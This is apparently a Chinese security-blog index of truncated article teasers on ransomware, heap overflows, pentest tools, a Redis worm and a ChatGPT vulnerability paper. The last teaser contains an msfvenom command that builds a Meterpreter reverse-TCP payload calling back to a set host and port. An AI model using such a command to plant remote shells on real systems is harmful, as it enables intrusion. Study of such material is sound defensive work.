免责声明: 该教程仅用于网络安全学习,如有人利用该技术从事违法犯罪行为一切和作者无关,请各位遵守法律法规!可以转发,禁止直接复制粘贴!文末赠送五大EDU证书站资产~欢迎各位表哥转发推文!先看成果以下漏...
完整分析cuba勒索软件(下)
完整分析cuba勒索软件(上)Veeamp过了一段时间,研究人员发现一个恶意进程在相邻主机上启动;研究人员称之为“SRV_Service”:恶意进程启动Veeam.exe是一个用C#编写的定制数据转储...
史上最严重的10起勒索软件攻击
与今天的勒索软件攻击相比,世界上首起勒索软件攻击简直就是小菜一碟。1989年,出席世界卫生组织(WHO)艾滋病会议的数千名与会者回到家中,结果在自家的邮箱软盘里发现了一份关于感染艾滋病毒可能性的调查问...
记一次跨目录上传+任意文件读取rce记录
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后...
堆溢出 off by one & off by null
简介off-by-one是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。这种漏洞的产生往往与边界验证不严和字符串操...
[工具篇] 云安全管理工具再续
工具介绍目前工具定位是云安全相关工具,目前是两个模块 云存储工具、云服务器工具, 云存储工具主要是针对oss存储、查看、删除、上传、下载、预览等等 云服务器工具主要是针对ecs服务器的管理,查看、执行...
一款渗透集合工具 Suture_Box
本文为大家介绍一款工具包。她是将我们常用的工具进行了集合,从而对目标进行一键扫描。主要包含信息收集与漏洞扫描。包含功能:目录扫描、子域名爆破、指纹识别、Cms 识别、Waf 识别、Js 检测 url、...
安全运营内刊—威胁分析与响应能力—针对Redis服务器的P2PInfect蠕虫病毒分析
01简介近期,研究人员发现了一种针对Redis数据存储部署的新型蠕虫病毒,命名为“P2Pinfect”。该蠕虫使用Rust编写,Rust是一种高度可扩展且对云友好的编程语言,能够针对Redis跨平台攻...
兰州大学 | ChatGPT 驱动的漏洞描述映射及评估
原文标题:Not The End of Story: An Evaluation of ChatGPT-Driven Vulnerability Description Mappings原文作者:Xi...
xcrawl3r:一款功能强大的网站页面递归爬取CLI工具
关于xcrawl3r xcrawl3r是一款功能强大的网站页面递归爬取CLI工具,该工具本质上是一个基于命令行接口实现的实用工具,可以帮助广大研究人员以递归的形式爬...
《2023年H1网络安全报告》:48个勒索软件组织攻击了2200多名受害者
2023年上半年,技术持续性的快速变革改变着我们生活的方方面面。5G网络的普及为前所未有的连接和通信速度奠定了基础,使智慧城市和物联网(IoT)的蓬勃发展成为可能;人工智能(AI)已经深入到日常生活中...
Meterpreter源码分析
一、生成木马上线msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.245.129 LPORT=4444 > /home/rkabyss...
25194